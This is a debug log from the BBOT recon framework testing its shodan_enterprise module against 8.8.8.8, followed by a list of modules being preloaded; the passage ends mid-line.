[DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:42:36,510 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:42:36,510 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 16:42:36,511 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:42:36,511 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:42:36,512 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-03-01 16:42:36,512 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-03-01 16:42:36,513 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-03-01 16:42:36,513 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 16:42:36,513 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:42:36,615 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:42:36,616 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:42:36,616 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:42:36,617 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-03-01 16:42:36,617 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 16:42:36,618 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,618 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,619 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:42:36,620 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,620 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:42:36,620 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:42:36,621 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,621 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,621 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:42:36,622 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,622 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,623 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,624 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:42:36,624 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:42:36,624 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:42:36,625 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,626 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,627 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,628 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:42:36,629 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,629 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:42:36,630 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:42:36,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:42:36,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,631 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,632 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:42:36,633 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:42:36,633 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,634 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,634 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,635 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,635 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:42:36,636 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,636 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,637 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:42:36,637 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:42:36,718 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:42:36,719 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,720 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:42:36,721 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:42:36,722 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:42:36,722 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,723 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:42:36,723 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:42:36,723 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:42:36,724 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:42:36,724 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:42:36,725 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:42:36,726 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:42:36,726 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:42:36,727 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:42:36,727 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:42:36,827 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:42:36,828 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:42:36,847 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:42:36,848 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:42:36,848 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:42:36,855 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:42:36,856 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:42:36,857 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:42:36,858 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:42:36,858 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:42:36,859 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:42:36,979 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_7lvh2vigm6 completed in 0 seconds with status FINISHED -2026-03-01 16:42:36,980 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:42:36,981 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:42:36,982 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events -2026-03-01 16:42:36,982 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 16:42:36,982 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-01 16:42:36,983 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-01 16:43:39,510 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:43:39,521 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:43:39,521 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:43:39,522 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:43:39,523 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:43:39,524 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:43:39,525 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:43:39,525 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:43:39,526 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:43:39,527 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:43:39,527 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:43:39,528 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:43:39,533 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:43:39,533 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:43:39,534 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:43:39,535 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:43:39,536 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:43:39,536 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:43:39,537 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:43:39,538 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:43:39,538 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:43:39,539 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:43:39,540 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:43:39,541 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:43:39,541 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:43:39,542 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:43:39,543 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:43:39,543 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:43:39,544 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:43:39,545 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:43:39,545 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:43:39,546 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:43:39,547 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:43:39,547 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:43:39,548 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:43:39,549 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:43:39,549 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:43:39,550 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:43:39,556 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:43:39,556 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:43:39,557 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:43:39,558 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:43:39,559 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:43:39,560 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:43:39,561 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:43:39,561 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:43:39,562 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:43:39,563 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:43:39,565 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:43:39,565 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:43:39,566 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:43:39,567 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:43:39,568 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:43:39,568 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:43:39,569 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:43:39,569 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:43:39,570 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:43:39,570 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:43:39,571 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:43:39,572 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:43:39,572 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:43:39,573 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:43:39,574 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:43:39,574 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:43:39,575 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:43:39,576 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:43:39,577 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:43:39,577 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:43:39,578 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:43:39,579 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:43:39,579 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:43:39,580 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:43:39,580 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:43:39,581 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:43:39,581 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:43:39,582 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:43:39,582 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:43:39,583 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:43:39,584 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:43:39,584 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:43:39,585 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:43:39,586 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:43:39,586 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:43:39,587 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:43:39,588 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:43:39,588 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:43:39,589 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:43:39,589 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:43:39,590 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:43:39,590 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:43:39,591 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:43:39,592 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:43:39,592 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:43:39,593 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:43:39,594 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:43:39,594 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:43:39,595 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:43:39,596 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:43:39,596 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:43:39,597 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:43:39,598 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:43:39,598 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:43:39,599 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:43:39,600 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:43:39,600 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:43:39,601 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:43:39,601 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:43:39,602 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:43:39,603 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:43:39,603 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:43:39,604 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:43:39,604 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:43:39,605 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:43:39,606 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:43:39,606 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:43:39,607 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:43:39,607 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:43:39,608 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:43:39,608 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:43:39,609 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:43:39,609 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:43:39,610 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:43:39,611 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:43:39,612 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:43:39,612 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:43:39,614 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:43:39,614 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:43:39,617 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:43:39,618 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:43:39,619 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:43:39,620 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:43:39,621 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:43:39,622 [DEBUG] bbot.module_loader modules.py:154 Preloading path from 